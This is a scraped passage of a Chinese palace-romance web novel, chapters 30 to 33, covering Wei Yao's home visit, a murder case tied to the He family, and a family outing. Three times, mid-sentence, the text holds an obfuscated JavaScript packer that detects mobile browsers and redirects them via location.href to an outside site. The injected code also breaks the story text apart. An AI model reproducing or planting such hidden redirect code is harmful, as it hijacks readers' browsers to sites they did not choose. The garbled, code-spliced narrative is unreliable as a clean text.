幸得这两日穆景初不在，惠王妃又是个和善人，魏窈除了晨昏定之外，余下时候都在院中歇息，熟悉了屋舍格局、上下仆婢，美味佳肴奉养之下，整个人重归神采奕奕。 腊月十五的夜里，穆景初如约踏进院门。 30. 030 彼时夜色已颇深了，扯絮似的浓云堆积在半空里，后晌刮起的冷风愈来愈烈，眼瞧着是要下雪了。 穆景初身上罩着黑色大氅，脸颊耳尖被冷风刮得有点泛红，进屋后迎上炭盆熏出的热气，嗅着走近身边的若有若无的香味，恍然如同从冰天雪地钻进了香暖锦衾之中，心底竟无端生出对这柔暖的贪恋。 魏窈瞧他视线只在自己脸上打转，还以为是沾了脏东西，下意识擦了擦，又忙过去接住小行囊递给青穂，道：“这么冷的天，吃饭了么？我让人炖了羊肉汤，还在锅里煨着呢，喝一碗驱驱寒吧？” “好。”穆景初想着那滋味，从善如流。 脱去大氅，解下纵马赶路后风尘仆仆的外裳，正要披件外衣，鼻端就已有羊肉汤的香味传过来。 魏窈怕他劳累，饭食也没往厅上摆，只命仆妇将羊肉汤和切好的小羊排、准备当宵夜的炙羊肉，连同几样糕点果子一道端过来，放在两个卧房中间的圆桌上。 寒风将雪的深夜里，撒着芫荽的滚热羊肉汤香气四溢，着实勾人食指大动。 穆景初眼瞧着无需再出屋门，索性将才刚拿起的外裳丢下，待到仆妇和青穂她们依命退下，径直绕过屏风走向饭桌。 魏窈正给他盛汤，一抬头瞧见他只着中衣，胸前领口也没系紧实，微愕之下差点被羊肉汤烫着，赶紧搁下小碗。 穆景初倒正被吃食勾着视线，没留意她眼底的不自在，只管凑近了吸口香味儿，就着羊肉汤，尝了口新鲜热乎的炙羊肉。 那滋味，着实能洗尽疲惫。 他原就有点饿了，正好开怀畅享，魏窈也馋那滋滋冒油的炙羊肉，坐在他的对面，拿竹签子一点点戳着吃。 俩人你一口我一嘴，很快将一盘炙羊肉扫了个干净。 魏窈正要让人再做一盘端来，穆景初便摆摆手，“差不多了，不宜再多吃。”他有点餍足地靠在椅背，问魏窈这两日可还顺当。 魏窈笑而颔首。 又说了几句昨日去看文儒、小家伙读书习武很用功之类的闲话，便各自漱口，待仆妇撤去碗盏后，洗漱歇下。 翌日清晨，给长辈问安过后慢悠悠用饭毕，俩人便动身往魏家去。 照旧是魏窈乘车，穆景初骑马。 …… 魏家门前已然洒扫洁净。 刚出嫁的姑娘回门，也算是件大事，何况魏窈嫁的还是位郡王。 魏芝翰今晨得了魏窈递来的口信，心下欢喜，便在早朝后告了个假，匆匆赶回家中，这会儿正过问晌午小宴的菜色。 听得女婿登临，便自含笑出迎。 昨夜一场厚厚的雪，积了足有近两尺厚，今晨云散雾开，明晃晃的日头探出脑袋来，直将京城照成了琉璃世界。 魏家原就在厅前栽有梅花，这会儿红梅初绽，雪色与点点梅花交映，霎是好看。 魏窈经过时，不由微微驻足。 穆景初随口道：“喜欢红梅？” “很好看！”魏窈抬手轻触嫣红的梅花，惹得细雪簌簌而落。 穆景初的视线落在她侧脸，温声道：“京郊的五灵峰下种了几千株梅花，有空带你去瞧。” 他原是知道魏窈在府中的处境不甚好，随口说句话给她撑腰长脸面的，魏芝翰却信以为真，以为女儿洞房花烛后甚得肃郡王欢心，高兴之下，脸上笑意更深了，连同心里的小算盘都拨得愈发热烈。 于是殷勤招呼，亲自将两人带到暖厅。 那边贺氏才刚从厨房里安顿妥当后出来，迎头瞧见他翁婿谈笑、魏窈金装玉裹，只觉眼睛被刺得生疼。 就在月前，魏淑云也曾携着新婚的状元郎回门，那时的魏芝翰是何态度呢？ 自然也是欢喜招呼的，却没像今日似的亲自去迎接女婿。即使翁婿同坐，他也难免摆点岳父的架子，哪像如今似的，让肃郡王堂而皇之走在中间，他这当长辈的反倒成了陪衬。 果真嘴上再怎么说疼爱幼女，真到了这种时候，对谁热对谁淡，就藏都藏不住。 贺氏觑着三人走进暖厅，想起捧在心尖尖上的女儿，再想想娘家的事情，眼睛被雪光刺痛之余，竟自叹息了一声。 片刻后，才牵出浅笑，踏入正厅。 不论贺氏是否情愿，这场回门宴准备得倒是十分丰盛，从菜色搭配到食材甄选，乃至酒喝糕点都费了心思。 不过魏窈也备了不薄的回门礼，甚至给不在家的魏淑云也捎带了一份，托贺氏转交。 魏芝翰瞧在眼里，只觉长女行事日益周全，自是掀须笑个不停。 待得饭毕，他又将穆景初请去书房，说是得了幅名家真迹，想请见多识广的穆景初赏鉴，实则是有事相商。 剩魏窈跟贺氏坐在厅上，大眼瞪小眼。 回京至今，两人的关系从来没好过，这回若不是为顾王府的颜面，魏窈甚至都不想给贺氏被那么贵重的礼物。不过颜面所需，于王府而言那些都不算什么，她也无需心疼，此刻相对无言，便想起身去外面瞧瞧雪景。 屁股还没挪起来，忽听贺氏轻咳了声。 魏窈动作微顿，朝她瞧去，就见贺氏有些别扭地往这边挪了挪，道：“侧妃娘娘跟前的茶凉了，去重沏一壶来，就用前些天刚得的密云龙。” 仆妇会意，招呼丫鬟们一道退出。 这举动倒勾得魏窈饶有兴致。 密云龙是贡品，这两年的风头比龙凤团茶还盛，莫说等闲朝臣，就是一些皇亲国戚都没份儿受这赏赐。 贺氏手里这份必定是从贺崇那儿匀的，似这等难得的珍品，都是拿来招待贵客，贺氏今儿竟腆着脸主动搭话，还装大方将这茶泡给她喝，莫不是心里憋着什么主意？ 她有些疑惑，只淡笑道：“密云龙难得，还是该夫人和父亲留着喝的。” “你如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236558|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今是郡王侧妃，这种茶想来也司空见惯。”贺氏竟然难得的一改刁钻嘴脸，露出点拍马屁的姿态来，笑问道：“嫁过去之后，在王府可还顺遂么？” “还好。”魏窈答得模棱两可。 “我瞧他待你的样子，倒是挺好的。”贺氏实在难以继续装笑，便只低头把玩面前的糕点，“你应该知道，你父亲待你很好。先前为着些小事，差点跟我吵翻天，是十几年来从未有过的事情。他的心里，恐怕疼你比疼淑云还多些。” 她难得这样说话，魏窈一时有点摸不出意图。 贺氏接着道：“这些年你流离乡下，他一直心存愧疚，为了将你寻回京城，费了许多心思。只是男人家不好说这些，摆在前面的都是严父的样子。可你心里该明白，这世上，他是最疼你的。” “我明白。”魏窈顺着她的话颔首。 贺氏像是得了鼓舞，又道：“这些年在官场上，你父亲其实过得不容易。如今你有出息嫁进了王府，回头家里若碰见什么，你该帮衬着些。” 这话显然有蹊跷。 毕竟，穆景初虽是个郡王，可论起在皇帝跟前的分量和手里的权柄，比贺崇逊色许多。 魏芝翰都快成贺崇的儿子了，真个碰见事也是贺崇帮衬，犯不着向来心高气傲、拿鼻孔看她的贺氏这样矮了身段说话。 除非…… 魏窈嘴上敷衍答允着，脑海里飞速寻思，片刻后猛地意识到了缘故—— 莫非贺家那桩案子是穆景初在查办？ 这念头一起，魏窈心里不由咚咚轻跳起来。 前世这个时候她尚未嫁进贺家，只能闷在浮香院里。记得那个年节家里的氛围很古怪，贺氏心绪欠佳脾气差，没少暗里拿她撒气，魏芝翰也是三天两头的往贺家跑。 后来魏窈嫁进贺家，待久了才知道，当时是贺家的大管事赵福生手上出了命案，在醉酒后杀了无辜的一家六口，犯不道之大罪。 当时那案子也不知是谁办的，证据搜集齐全后有了裁定，又移交大理寺复审，判得挺重。 奈何昭明帝倚重贺崇，并没因此事牵连贺家。 不过贺家失了左膀右臂似的大管家，着实乱了一阵子。 如今看来，莫非这案子是穆景初在帮着查办？ 毕竟，若只是帮着说情，让穆景初一介郡王为贺家的大管事说话，实在有些八竿子打不着。而以贺崇在帝王跟前的宠信，也犯不着求到穆景初头上。 除非穆景初在经手此案。 他虽挂着户部闲职，可皇子帮帝王办事是常有的事。昭明帝那样维护贺崇，说不准就是看准两家初结姻亲，想让穆景初帮衬着从轻发落呢？ 魏窈想通此节，心头不由有点激动。 想让她给贺家说情？ 笑话！以贺崇媚上弄权的做派，贺家仗势欺民甚至草菅人命的行径，她正愁找不着落井下石的机会呢！ 31. 031 从魏家出来，申时才刚过半。 魏窈实在懒得多看贺氏的嘴脸，愣是没留着用晚饭。而穆景初原就是个清冷性子，能瞧着魏窈的面子跟魏芝翰闲扯半晌已是难得，更不愿意以翁婿之名添上顿晚饭。 好在他身份贵重且常有公事缠身，魏芝翰也不好多说什么，只拉着贺氏将小夫妻俩亲自送了一程才罢。 前晌晴好，路上积雪已经化了些，谁知晌午后深浓云翳遮住日头，再经寒风一吹，那些半融的雪水竟冻起来，走路都有些打滑。 偏巧邻近年底街上人多，采买年货的车马人□□错往来，难免磕磕绊绊。 穆景初吹了半天寒风，瞧前面的路也不好走，索性掀起帘子钻进了车厢当中，只让随行的卫玄铮帮他牵马。 魏窈原本抱着手炉子眯眼打盹儿，察觉男人卷着冷风钻进来，赶紧往旁边让出位子。 穆景初就势坐在她旁边。 “今儿辛苦殿下，被家父请去说了半晌的话，劳殿下费神了。”魏窈情知穆景初不会拿魏芝翰当正经岳父，瞧他今日肯配合，在娘家人面前给她脸面，心里其实是有些感激的。 穆景初闭目养神，低低“嗯”了声。 “殿下累了？”魏窈探问。 “没有。”穆景初睁开眼睛，侧头看她，“你有话说？” 魏窈还真有话说，且她猜测今日魏芝翰单独与穆景初谈话是揣着跟贺氏相似的意图，并不想让贺家打着她的旗号蒙蔽穆景初。便正色道：“今日我娘家那位继母有些反常，我猜着，是不是贺家有什么事情犯在殿下的手里？” 穆景初闻言，淡淡看她一眼。 她猜得倒是很准。 今日魏芝翰拐弯抹角、隐晦试探，无非是想借着这门姻亲，把他跟贺崇那老贼撮合到一起，甚至还想靠这裙带关系插手案子。 无论对方是真心要结朋党，还是被老奸巨猾的贺崇授意而存心试探，他既主动提出了这门婚事，当着魏芝翰的面，穆景初还是假意松动了态度，给个杆子让人爬，也好瞧瞧贺崇那老贼的反应。 只是魏芝翰除了自己磨嘴皮子，竟还让贺氏给魏窈吹风，着实有些痴心妄想了。 当真以为他色令智昏么？ 穆景初眉梢微抬，“你想求情？” “不是求情，只不过她说得云里雾里，我没太闹明白。”魏窈赶紧撇清，“犯事儿的是贺家那个名叫赵福生的管事么？” “无端杀了一家六口，丧心病狂。”穆景初前两日急着出去，就是为瞧案发现场。即使沙场上见惯厮杀，于人命生死上比旁人心硬些，真个瞧见手无寸铁的百姓被杀，妇孺卧血时，也着实被气得不轻。 那等恶贼，必须严惩！ 不管昭明帝是生杀予夺久了，没把六条人命当回事，还是被贺崇那狗贼的巧舌如簧所蒙蔽，在昭明帝授意他轻轻揭过此案，不必太深究，更不必牵连时，穆景初其实也颇为心寒。 而此刻…… 他看着身侧的笑靥，想起那染血的民宅，面上不动声色，“你父亲说，那姓赵的是酒后失心疯，且原先结过仇，才行事冒撞。” “结过仇也不能杀人全家呀！”魏窈虽知道魏芝翰倚赖贺家，真个得知他竟为那种混账开脱时，自己都觉得气愤，“律令摆在那里，就算官员犯此重罪都不可饶恕，何况是狗仗人势的管事！” 她的厌弃溢于言表，倒让穆景初有点意外，“你很不喜欢贺家？” “他们身在高位作威作福惯了，视人命如草芥，我却是乡下长大的，知道百姓疾苦。”魏窈瞧向穆景初，认真道：“旁人怎样我不好说，但若让我论断，必定严惩凶手！” “即使贺家被责，你父亲也可能受牵连？” “那六条活生生的人命，也都是骨肉血亲。”魏窈答。 马车在微冻的路面上磕磕绊绊，偶尔勒缰时车身轻摇，会让魏窈靠过来贴在穆景初肩上。逼仄的车厢里，她身上的香味断续隐约的落在鼻端，合着软嫩肌肤明眸善睐，真当得软玉温香四个字。 穆景初不得不承认，他还挺喜欢贴着这个香软美人。 其实从魏芝翰的书房出来时，他还斟酌过，若魏窈微顾及娘家情分而向他求情，往后须提防些，免得给自己设个美人计的陷阱。 而今看来倒是多虑了。 她还算清醒。 穆景初抬手屈指摩挲着她的下巴，感受颚下那一点点软肉的触感，道：“记着刚才的话，别叫他们迷了心智。若不然，恐怕没法如你所愿，全身而退。” 像叮嘱，也像告诫。 魏窈看着他眼睛，认真点点头。 “对了，腊月廿六贺家有场小宴，说是给谁过寿，只请亲友相聚。去么？” 魏窈连忙摇头，“过年的时候琐事多，实在无需劳烦殿下。” “还是走吧。”穆景初松开她，仍旧靠着车厢眯上了眼，声音也低下去，“不妨看个热闹。” …… 回府后穆景初照旧去忙公事，魏窈的心思却仍系在贺家。 她原以为穆景初不愿意去那等场合。 毕竟她跟贺崇并非血亲，不过是因着贺氏那继母的缘故而成了名义上的外租孙。她尚且不喜贺家，穆景初那种冷清性子，更不必敷衍这种拐着弯子的亲戚的小宴。 尤其那亲戚还持身不正，试图包庇家奴。 但穆景初还是要携她去赴那寿宴。 那必然是有缘故的。 魏窈还不至于自恋到以为穆景初是卖她的面子才捏着鼻子去贺家，思来想去，便觉得穆景初所谓的“看热闹”，或许是想趁机去贺崇老贼的窝里探个虚实。 这猜测也正好解了她先前的疑惑—— 若只是为应付长辈，穆景初何须正儿八经地费周章将她娶为侧妃，再演这场夫妻琴瑟和谐的假戏？ 可如果穆景初还有旁的打算呢？ 穆景初是沙场征战，凭血肉性命守护百姓的武将，定然瞧不上贺崇那等阿谀谄媚的佞臣。若他是想借姻亲麻痹贺崇，趁着姻亲之便做些什么……魏窈虽觉得这猜测有些缥缈，想到那般情形时，心头却还是突突轻跳起来。 光是赵福生这么个管事，未必能给贺崇多沉的一击，可若火上再浇一瓢油呢？ 邻近年底，赵福生的案子多半得拖到年后才会慢慢审理，有足够的时间让她去添柴浇油。 不管穆景初娶她时是揣着怎样的打算，若真能借穆景初之力给贺崇重重一击，于魏窈而言，着实是意外之喜。 不止为私怨，更为公心。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239248|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >——前世魏窈在贺家之所以孤立无援，不止是贺氏和崔氏蓄意挑唆、处处拿捏，更是因她看不惯贺家仗势欺民、视人命如草芥的行径，许多事上话不投机，除了贺云章色迷心窍外，长辈妯娌多半不太喜欢她。 如今么…… 魏窈坐在暖烘烘的炭盆旁，拨弄着烤得香喷喷的栗子，细细琢磨前世在贺家察觉的蛛丝马迹，思绪渐渐清晰。 …… 北风吹得云聚云散，翌日又是个大晴天。 魏窈如常早起梳洗后去问安，正巧惠王妃那里熬了香喷喷的鱼丝乳粥，给她和梅氏各自盛了些尝尝味道。 王府的饮馔向来精致，这粥的味道自是没得说。 魏窈伺候婆母用饭，又将面前那碗乳粥喝尽，回味着舌尖残留的滋味，其实还想再喝一碗。不过她刚嫁进来，又是低娶的小小侧妃，着实不好在惠王妃跟前放肆，只能记住那味道用料，回头问问顾顺娘是否知道做法。 因小年将近，王府里要筹备的事不少，梅氏进门后就陆续接了王府后宅中馈，如今后宅的事多由她打理，伺候过早饭就先告辞回住处去了。 魏窈陪惠王妃在庭院中散步消食，闲聊之中，惠王妃问起她幼时的经历，魏窈便拣些乡下的趣事说给她听。 惠王妃出身高门，过惯了锦衣玉食的日子，对乡下野趣倒有些新奇，不时还追问两句。 魏窈瞧她心绪不错，便趁机开口，“有件小事，儿媳想求母亲恩准。” “你说。”惠王妃走累了，就在铺着锦罽的圈椅里坐下，晒晒初升的太阳。 魏窈取了条薄毯给她膝盖挡风，解释道：“儿媳幼时流离失所，全靠顾妈妈照顾。她原是儿媳生母的陪嫁，靠着给人浆洗缝补将儿媳拉扯大，着实不容易。后来回了京城，儿媳便求得父亲恩准免她奴籍，立了个女户。” “应该的。”惠王妃闻言颔首。 魏窈便接着道：“她如今在外头开了间食店，卖些寻常的饭食小菜，也算是有了新的奔头。只是毕竟孤身在外，儿媳放心不下，隔些日子就会去瞧瞧。今儿正好得空，儿媳想过去看看她。” “这倒无妨，找你大嫂安排车马，出门在外谨慎些就是了。” 魏窈在闺中想出门时，常被贺氏念叨刁难，还想着王府里规矩重，未必许她轻易出去。见惠王妃答应得如此爽快，自是喜出望外，忙施礼含笑道：“多谢母亲恩准，儿媳必定谨慎行事！” 惠王妃招手示意她坐下，“开食店是辛苦差事，她孤身在外也不是长久之计。不如照旧让她来你身边照料，就当个管事嬷嬷，岂不好？” 她这是一番好意，魏窈却哪敢应承？ 这桩婚事背后的约定，恐怕穆景初连惠王夫妇都瞒着。让吃苦了半辈子的顾顺娘安享晚年固然是好，可若真个都仰赖王府，往后她与穆景初分道扬镳时，该如何自处？ 何况，非但顾顺娘对食店干劲十足，魏窈其实也对顺记小馆抱有很高的热情，哪里舍得轻易放下？ 便只笑道：“多谢母妃体谅。不过她喜欢捣鼓这些，趁如今还有干劲，开着小店也挺好。” 惠王妃自不会勉强，点点头，瞧着时辰差不多了，自管往她的佛堂里去。 魏窈则施礼辞别，去找梅氏商量用车的事。 32. 032 有惠王妃首肯，梅氏自然不会说什么，当即就要让人派车。 魏窈却记得先前王府车马接送她时那显眼的徽记，便笑道：“还有件事想求嫂嫂。那食店开在闹市后头，若乘着府里那些贵重马车过去，难免惹人注目。能否挑个瞧着朴素寻常些，也没挂徽记的？” 这便是不欲张扬了。 梅氏原也不想王府的徽记常去螺市街抛头露面，没得叫人议论。听得魏窈主动提起，正合心意，便道：“也好。” 这边商量定，等魏窈回熹微山房收拾好东西，再同青穂行至府门口时，车马已然齐备了。 一辆瞧着寻常的青帷马车，甚至比她在娘家乘坐的都素净些。 可进了车厢，就全然不同了。 且不说坐垫铺设，就连车厢板子都比旁的结实许多，像有夹层似的，魏窈甚至觉得寻常弓箭都未必能射穿这厢壁。 日头高升，积雪渐融，但因昨晚冻得结实，路上并不太好走。 慢悠悠滑到顺记小馆的时候，晌午才过。 买饭的队伍愈来愈短，韩金玲和吴六娘正好送索唤回来，大冷天的竟热出了汗。她俩身上穿的都是顾顺娘请人裁剪的衣裳，做得厚实暖和，上头绣着的顺记小馆徽记更是惹眼而好看。 见着魏窈，两人念着她郡王侧妃的身份，迟疑着对视了一眼，就想跪地行礼。 青穂忙上前拦住，口中笑着招呼。 俩人瞧她暗暗使眼色，再一看魏窈身上的寻常装束和那素净不起眼的马车，顿时会过意来，忙笑着上前屈膝为礼，只以东家相呼。 魏窈也笑了，“瞧这脸上的汗，跑累了吧，快去里头歇歇。” “不累！”韩金玲臂弯里挎着空食盒，笑得爽朗，“东家裁得衣裳厚实，我跟六娘不用怕冷，每日里出点儿汗还能强身健体！这个冬天，别人风寒咳嗽的，我俩都好着呢！” 吴六娘在家里跟个小子似的淘气，但比起韩金玲来还是有点腼腆，碍于魏窈骤然抬高的的身份，只在旁笑着点头附和。 魏窈瞧着那笑容，便知顾顺娘素日里待她们不错，这活计于她们而言已是很满意的。 便抬步进院，先往阁楼上去。 韩金玲和吴六娘都累了，自管钻进厨房找了些吃食，一边吃着一边歇息。 顾顺娘从地窖出来，得知魏窈来了，便取了两样小菜，又舀了碗热腾腾的羊肉汤，亲自端上去。 肉汤香味扑鼻，不比王府的逊色。 魏窈慢慢儿舀着喝，跟顾顺娘商量，“我瞧金玲她们跑得都出汗了，这阵子生意更红火了吧？” “可不是，这大冷天的，许多人家不肯出门，又忙着年底的事腾不开手，时常加几个铜板让她俩将饭菜送去。”顾顺娘随意翻翻账本，指给魏窈看，“前两天更忙，她俩跑不过来，我只好雇两个闲汉拎东西，让她俩分头去送。” “行啊顾姨，还没半年呢，就打出名声来了！” 顾顺娘听得夸赞，故意面露得意，玩笑了两句，又正色道：“只找闲汉也不是个事。她们这俩月走街串巷，咱们小馆的名声在这一带已是无人不知，就连城南角那边都有人听说了。” 魏窈咬羊肉的动作一顿，“那地方送起来也太远了吧！” “那么远肯定不能送，等明年真个有许多人想要，我琢磨看要不要开个分店。倒是她俩跑腿辛苦，那食盒沉甸甸的，若真累着了，耽误长身体。” 顾顺娘说着，开了柜锁，从里拖出个箱子。 箱盖掀开，里头白花花的全是银子。 比起魏家的豪贵、王府的气派，这点银子着实算不得什么。可于魏窈而言，这是顾顺娘一文钱一文钱赚来的，积少成多，也是真正属于她们娘儿俩的钱财——那数量，比她预期的多多了！ “这么多……”魏窈压低声音，眼底都泛起亮光来，“顾姨，您可真厉害！” 顾顺娘一笑，从中取出锭银子，道：“我打算买两头驴，帮她们驮东西送饭，俩小姑娘能轻省些。若往后再忙不过来，就添个人，不管是姑娘家还是已经出阁了的，咱京城里边，这样大胆肯做事的女子不少。” 而顺记小馆里，无论后厨的厨娘还是柜上打杂的大姐，一应的爽利妇人，做得并不比那些男人们开的店逊色。 孙大姐她们赚了银钱，在家里的腰板都能挺直不少。 顾顺娘开店的初衷原也不止是赚钱，瞧这些女子能得帮衬受实惠，也是打心眼里高兴。 娘儿两个又合计了一阵，才雄心勃勃地将账本收起来。 而后，顾顺娘探头瞧了眼窗外，见没什么人在近处，才揽着魏窈走进最僻静的卧房，掩上屋门。 不出意料地，她问起了魏窈婚后的情形。 得知穆景初还挺照顾，惠王夫妇和世子夫妇也都和气，顾顺娘明显放心了不少。这才将魏窈搂在怀里，低声道：“你出阁前的那晚，我去见过你父亲。看他的样子，你母亲当年肯定没死。只是他有意隐瞒，若想打听下落，总得费点功夫。” “从你父亲嘴里逼问消息，你敢不敢？”她低声问。 魏窈当即抬眸，笃定地点头。 她跟魏芝翰的父女之情原就十分淡薄，只要能找到母亲，有什么不敢的！ …… 娘儿俩商量了半晌，屋外日色渐偏，快到做晚饭的时候了。 顾顺娘既有食店的事务缠身，也没再多留魏窈，只在送她出卧房时小声叮嘱道：“这事儿急不得，得耐住性子等合适的时机。” “好。到时候我试着请殿下帮忙，他手底下必有精于此道的人。” “他若可能帮忙自然最好。不过阿槿，这世间没有白吃的饭，不是说他娶了你，就会天然地对你好。你得先好生待他，懂吗？”顾顺娘心里拿魏窈当女儿待，多少有点担心她少女心性，于情爱存有幻想，处理夫妻婆媳关系时失于分寸。 魏窈进京后只觉顾顺娘行事干练、迥异从前，难得见她重新絮叨不停，不由笑着抓住她手背轻拍了拍，“放心吧顾姨，我醒着呢！” “还有——”魏窈指了指挂在墙上的黄历，“进香的事儿别忘了，可得留出空暇来。” “不会忘！回头我再叫上沈歌。” “好！”魏窈愈发高兴。 打襁褓里就与双亲分离，她对生母郦氏其实没有任何印象。不过顾顺娘从前跟她说过许多郦氏的事，魏窈对温婉美貌的母亲也存有许多想象。而今找回生母的希望又增了几分，焉能不高兴？ 不过这种事三分靠人力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248539|196044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，七分还得靠天意。 魏窈昨儿瞧娘家的梅花开得甚好，刚才便跟顾顺娘商量着去城外进香。一则为是为母亲郦氏，祈愿她仍在世间安稳过日子，母女能有相聚之日。再则也是趁机陪顾顺娘散散心，免得她整日忙于食店，身心劳累。 若届时沈歌有空，那可就更好了！ 她瞧着顺记小馆生意红火，想想或许真能有寻回母亲的日子，心头自是松快。 回到熹微山房后，便亲自去厨房安排晚饭，还让青穂去穆景初的书房留了个口信。 ——穆景初事务繁忙时经常会宿在书房，但那地方有不少要紧文书，魏窈刚嫁过来没两天，不好轻易踏足。若想跟穆景初提起出城进香的事，还是借着晚饭的由头将他来熹微山房更好。 到亥时过半，穆景初果然回来了。 庭院里积雪尚未融尽，厚帘遮住的暖厅里烛火昏黄，有人影依约映在窗上。 他自管抬步过去，才一进门，就闻到了诱人的饭菜香味。举目一瞧，小文孺坐在凳子上，正扒拉面前的半碗肉羹，瞧见他，当即跳下凳子噔噔噔跑过来，抱住穆景初的腿，“爹爹，你可回来了！” “怎么，等我吃饭？”穆景初垂首，摸摸他脑袋。 “嗯！侧妃说要等爹爹回来才能用饭。”文孺年岁渐长，自诩是个小男子汉，已不太喜欢让人摸脑袋了，便就势抓住穆景初的手，牵着他走到饭桌边，“这肉羹做得可好吃了，还有那板栗野鸡汤也很好吃！” “孩子犯馋，就先给他舀了些尝尝，殿下不介意吧？”魏窈笑着，也给穆景初盛了一碗。 穆景初又岂会介意？ 自从他将文孺过继到身边之后，这孩子平素就只有乳母、祖母照料，世子妃虽说也常帮忙，到底不像别家的孩子有个母亲在身边。 如今添了个魏窈，小家伙虽说嘴硬还没改口，瞧这些日的模样，显然也不排斥魏窈。 甚至方才他趴在桌上晃着腿儿吃饭，魏窈在旁含笑张罗的情形，瞧着还挺顺眼——像他小时候母亲悉心照料、阖家和乐用饭的场景。 穆景初觑向魏窈，眼底也添了点笑意，“别忙活了，坐着吃饭吧。” 魏窈没客气，径自落座。 今晚这几样菜是她特地选了吩咐人做的，色香味都没得说，她方才看文孺扒拉的时候其实也有点犯馋。不过毕竟初为人妇，这种时候万不能露馋相，还得摆出个侍奉夫君的贤惠样子。 好在穆景初没那么多臭规矩。 魏窈也自舀了羹汤，看准桌上馋了好半天的凉拌羊筋，先搛来尝尝。 仆妇侍立在侧，不时帮文孺搛他想要的菜色。 三人筷箸交织之间，穆景初算是看出来了，今晚十二样菜色，有四样是文孺最爱吃的，有四样是他喜欢的，还有四样菜魏窈夹得最勤快，想必最合她的口味。 还真是一碗水端平，公正得很。 穆景初觉得有点儿意思，多尝了尝旁的菜色，其实味道也都很不错。 也难为她，嫁进来还没几天就能揣摩出各自的口味喜好，算是在细节上用心的。 这般胡思路想着，穆景初再瞧魏窈灯下的眉眼时，愈发觉得秀色可餐起来。 这顿饭，三个人都吃得很满意。 33. 033 饭后围炉消食，明灭的热炭将身上熏得暖烘烘的，平白勾出慵懒的睡意来。 文儒挺着小肚皮坐在那儿，一面拨弄烤香的橘子玩，一面念叨：“听祖母说，这两天好些人出城去赏雪看梅花，咱们院里的梅花也好漂亮。” “我已经好久没去玩了。” “那天见到阿渊哥哥，他说上回下雪的时候，还去城外打猎了呢。下了雪兔子跑不快，可好逮了。” “也不知道咱们别苑的梅花开了没有，那几只小鹿还在不在。” 小家伙垂着眼睛念叨，虽没往穆景初身上看，那语气却听得魏窈都有些不忍心了。 进府数日，她知道文孺有多受疼爱，也知道这小家伙藏着多少精灵古怪的心眼子。此刻瞧他故作懂事隐忍的模样，忍不住勾起唇角，暗暗打量穆景初的反应。 那位却好似没听见，只管端坐着闭目养神。 文儒念叨了半天，没见他吭声，索性跳下凳子，抓了刚烤好的热橘子塞到他手里，“爹爹，你睡着了吗，吃橘子呀！” 橘子滚热，也亏他敢去抓。 穆景初被烫得手腕微抬将橘子在空中翻个个儿，终于睁开了眼睛。 “后天带你去别苑。”他说。 文儒一听，当即围着他蹦蹦跳跳起来，眉开眼笑的，“爹爹最好了！我要去喂小鹿，还要去射猎！” 穆景初有些头疼的揉了揉眉心。 旋即瞥向努力憋笑的魏窈，“一起去么？别苑就在五灵峰，有成片的梅林，景致不错。” 这可不就是瞌睡了就有人递枕头么！ 魏窈原本还琢磨着该怎么开口提去进香的事，这话头递过来，自是就坡下驴，道：“听文孺这么一说，我倒很好奇，想去瞧瞧。不过我今儿去瞧顾姨，商量着大后天一起去城外的般若寺进香祈福，怕是……” “般若寺，我记得也在五灵峰那边？” “听说就在五灵峰脚下。”魏窈赶忙回答，假装对京城还没那么熟。 穆景初便拍了板，“那就大后天走。我带文孺去别苑，你进完香再过来，知白认得路。” 他答应得这么爽快，倒让魏窈始料未及。 成婚前数次接触，穆景初都端着疏冷矜傲的架子，让人捉摸不透他的心思，更不敢造次亲近。而此刻冬夜围炉，他被文孺闹得头疼却无可奈何时，竟真有点慈父的意思，没了在外的棱角与疏离，待她都似乎宽和了些。 这个传闻中守着继子疏于女色，沙场寒刃性情冷僻的男人，其实也挺好说话的嘛。 …… 有穆景初首肯，出京城的事情就简单了许多。 腊月二十，前晌日头和暖时，穆景初抱着文孺径直骑马出城。 魏窈则仍乘了那辆不起眼的青帷马车，往顺记小馆去接顾顺娘。到得那边，果然沈歌已经来了，穿着身劲装，披了件墨色斗篷，头发拿冠子束起来，倒真是玉树临风、姿容清俊。 娘儿俩坐进车厢，沈歌照旧在帘外跟车夫一左一右地坐着。后面的小马车里是青穂和绿禾，带着几个别苑起居时可能用的包袱。 再往后，知白骑马跟随，身姿昂扬。 沈歌瞥了眼他，不免低声揶揄，“行啊，肃郡王把这么个高手给你当侍卫，够意思。” “他很厉害吗？”顾顺娘没见过知白打架。 沈歌凑近些，“认真动起手来，五个我都打不过他。就算国公爷身边最厉害的那位，恐怕也不是他的对手。” 